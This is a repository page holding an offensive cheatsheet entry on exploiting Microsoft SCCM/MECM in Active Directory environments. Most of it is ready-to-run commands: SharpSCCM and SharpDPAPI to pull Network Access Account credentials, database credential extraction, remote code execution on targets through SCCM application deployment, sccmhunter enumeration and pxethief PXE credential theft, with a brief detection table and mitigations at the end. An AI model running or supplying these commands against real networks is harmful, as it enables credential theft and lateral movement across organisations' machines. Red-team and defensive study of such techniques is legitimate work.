repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-75-sccm-mecm-exploitation.mdMarkdown83 lines3.3 KiBsource raw download

title: "Attack #75 β€” SCCM MECM Exploitation" description: "Microsoft Endpoint Configuration Manager (MECM/SCCM) manages software deployment, patching, and configuration across enterprise environments. SCCM servers…" category: active-directory subcategory: "Advanced & Post-Exploitation" tags: ["active-directory", "lateral-movement"] tools: ["PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Ten/πŸ”· Attack #75 β€” SCCM MECM Exploitation.md"#

πŸ”· Attack #75 β€” SCCM / MECM Exploitation#


πŸ“– How It Works#

Microsoft Endpoint Configuration Manager (MECM/SCCM) manages software deployment, patching, and configuration across enterprise environments. SCCM servers store Network Access Account (NAA) credentials, client push installation credentials, and task sequence passwords β€” all recoverable by an attacker. Additionally, SCCM can be abused for lateral movement via application deployment and client push.


βš™οΈ Prerequisites#

Requirement Detail
SCCM client installed on compromised host Or local admin on SCCM server
Network access to SCCM infrastructure For credential extraction

πŸ’» Full Commands#

# ── SharpSCCM β€” Enumerate SCCM ───────────────────────────────────────────────
.\SharpSCCM.exe local site-info
.\SharpSCCM.exe get site-info -mp SCCM01.corp.local

# ── Extract NAA credentials (from SCCM client) ───────────────────────────────
.\SharpSCCM.exe local naa -m wmi
# Or:
.\SharpDPAPI.exe sccm

# ── Extract credentials from SCCM database (if DB access) ────────────────────
.\SharpSCCM.exe get naa -mp SCCM01.corp.local -sc COR

# ── Lateral movement via SCCM application deployment ─────────────────────────
.\SharpSCCM.exe exec -p calc.exe -mp SCCM01 -sc COR -r TARGET
# Deploys and executes on target machine via SCCM
# ── sccmhunter (Linux) ────────────────────────────────────────────────────────
python3 sccmhunter.py find -u low_user -p 'Password1' -d corp.local -dc-ip 10.10.10.10
python3 sccmhunter.py show -u low_user -p 'Password1' -d corp.local

# ── pxethief β€” PXE boot media credential extraction ──────────────────────────
python3 pxethief.py 2 SCCM01.corp.local

πŸ›‘οΈ Detection β€” Event IDs#

Event ID Source What to Look For
Application deployment SCCM logs Unexpected application deployments
4624 Security Log NAA account logon from unexpected source

πŸ”— Attack Chain Context#

[SCCM/MECM] ──→ Extract creds / deploy payloads across the domain
         β”‚
         β”œβ”€β”€β†’ πŸ”‘ NAA credentials often have elevated network access
         β”œβ”€β”€β†’ πŸ’» Task sequence passwords β†’ local admin on deployed machines
         └──→ πŸ’€ Defeated by: use Enhanced HTTP, remove NAA, restrict admin roles

βœ… Attack #75 β€” SCCM/MECM Exploitation complete.